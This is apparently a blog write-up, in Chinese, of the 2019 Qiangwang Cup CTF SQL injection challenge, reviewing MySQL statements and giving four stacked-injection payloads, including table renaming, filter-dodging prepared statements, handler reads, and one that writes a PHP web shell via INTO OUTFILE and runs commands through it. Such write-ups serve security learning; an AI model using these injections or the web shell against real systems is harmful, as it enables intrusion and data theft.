2019强网杯--随便注

姿势一:利用堆叠注入

堆叠注入:

在sql语句中可以使用分号;来执行多个sql语句,跟union语句差不多,但是堆叠注入中,后面的语句可以是任意语句,但是union的语句是有局限的。
参考:https://www.cnblogs.com/0nth3way/articles/7128189.html

sql语句:

show语句:

一般用的就是前面几个
1. show tablesshow tables from database_name; -- 显示当前数据库中所有表的名称。 
2. show databases; -- 显示mysql中所有数据库的名称。 
3. show columns from table_name from database_name;show columns from database_name.table_name; -- 显示表中列名称。 
4. show grants for user_name; -- 显示一个用户的权限,显示结果类似于grant 命令。 
5. show index from table_name; -- 显示表的索引。 
6. show status; -- 显示一些系统特定资源的信息,例如,正在运行的线程数量。 
7. show variables; -- 显示系统变量的名称和值。 
8. show processlist; -- 显示系统中正在运行的所有进程,也就是当前正在执行的查询。大多数用户可以查看他们自己的进程,但是如果他们拥有process权限,就可以查看所有人的进程,包括密码。 
9. show table status; -- 显示当前使用或者指定的database中的每个表的信息。信息包括表类型和表的最新更新时间。 
10. show privileges; -- 显示服务器所支持的不同权限。 
11. show create database database_name; -- 显示create database 语句是否能够创建指定的数据库。 
12. show create table table_name; -- 显示create database 语句是否能够创建指定的数据库。 
13. show engines; -- 显示安装以后可用的存储引擎和默认引擎。 
14. show innodb status; -- 显示innoDB存储引擎的状态。 
15. show logs; -- 显示BDB存储引擎的日志。 
16. show warnings; -- 显示最后一个执行的语句所产生的错误、警告和通知。 
17. show errors; -- 只显示最后一个执行语句所产生的错误。 
18. show [storage] engines; --显示安装后的可用存储引擎和默认引擎。

like语句

WHERE 子句中可以使用等号 = 来设定获取数据的条件,如 "runoob_author = 'RUNOOB.COM'"。
但是有时候我们需要获取 runoob_author 字段含有 "COM" 字符的所有记录,这时我们就需要在 WHERE 子句中使用 SQL LIKE 子句。
SQL LIKE 子句中使用百分号 %字符来表示任意字符,类似于UNIX或正则表达式中的星号 *。
如果没有使用百分号 %, LIKE 子句与等号 = 的效果是一样的。

所以程度上,=like有点差别

测试

<?php
$dbhost = 'localhost';  // mysql服务器主机地址
$dbuser = 'root';            // mysql用户名
$dbpass = '123456';          // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);//连接数据库
if(! $conn )
{
    die('连接失败: ' . mysqli_error($conn));
}
// 设置编码,防止中文乱码
mysqli_query($conn , "set names utf8");//执行sql语句
 
$sql = 'SELECT runoob_id, runoob_title, 
        runoob_author, submission_date
        FROM runoob_tbl
        WHERE runoob_author LIKE "%COM"';
 
mysqli_select_db( $conn, 'RUNOOB' );//在这个数据库中
$retval = mysqli_query( $conn, $sql );
if(! $retval )
{
    die('无法读取数据: ' . mysqli_error($conn));
}
while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC))
{
    echo "<tr><td> {$row['runoob_id']}</td> ".
         "<td>{$row['runoob_title']} </td> ".
         "<td>{$row['runoob_author']} </td> ".
         "<td>{$row['submission_date']} </td> ".
         "</tr>";
}
echo '</table>';
mysqli_close($conn);
?>

rename语句

修改表名:rename table 原表名 to 新表名;

load_file语句

LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
LOAD_FILE(file_name)其中file_name是文件的完整路径。
SELECT LOAD_FILE('/data/test.txt') AS Result;
Result                                 
This text is all that the file contains! 

desc语句

desc+表名,获取表的结构

alter语句

删除i字段:
ALTER TABLE testalter_tbl  DROP i;
添加字段,并定义数据类型:
ALTER TABLE testalter_tbl ADD i INT;
指定新增字段的位置:
ALTER TABLE testalter_tbl ADD i INT FIRST;
ALTER TABLE testalter_tbl ADD i INT AFTER c;
修改字段名称和数据类型
ALTER TABLE testalter_tbl MODIFY c CHAR(10);
mysql> ALTER TABLE testalter_tbl CHANGE i j BIGINT;
mysql> ALTER TABLE testalter_tbl CHANGE j j INT;
修改表名:
ALTER TABLE testalter_tbl RENAME TO alter_tbl;

其他回顾

创建数据库,create
创建表:create table{数据类型+字段名}
删除数据库:dropdelete
选择数据库:mysqli_select_db($con,"root")
连接数据库:mysqli_connect()
插入数据:insert into table_name() values()
where语句:
deletedelete from table_name from 
update: update table_name set ... where 

wp

验证是字符型注入(自己验证)
使用show语句
在这里插入图片描述
得到表words和1919810931114514
查表的字段名
在这里插入图片描述
根据输入查询的结果,可以猜测sql语句构成
select id,data from words where id=
在这里插入图片描述
思考,在另外一个表中有flag,但是不能显现,而words中可以显现,所以想到了改名的方法
1.将words表改为其他的
2.将1919810931114514改成words
3.将flag改为id或者data
payload

1';rename tables `words` to `abc`;rename tables `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100)

然后使用万能密码:1’ or 1=1#

姿势2:利用预处理语句

参考
预处理语句:
PREPARED是预定义语句
EXECUTE是执行预定义语句
DEALLOCATE是释放预定义语句
例子

SET @tn = 'words';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

concat就是把字符串拼接起来,group_concat也是将字符串拼接起来。
payload:

1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARED st from @sqli;EXECUTE st;#
1';PREPARED st from concat('s','elect * from `1919810931114514`');EXECUTE st;#

姿势3:handler处理

handler语句
handler语句就是可以一个一个去读取表中的内容。
payload

1';handler `1919810931114514` open;handler `1919810931114514` read first;#

姿势4:预处理+命令执行

payload

1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;
然后
/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"
得到flag

参考链接:
https://www.jianshu.com/p/36f0772f5ce8(wp)
https://blog.youkuaiyun.com/xlxxcc/article/details/52637873(利用into outfile给网站留后门)
https://www.cnblogs.com/iforever/p/4459857.html(shell操作mysql)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值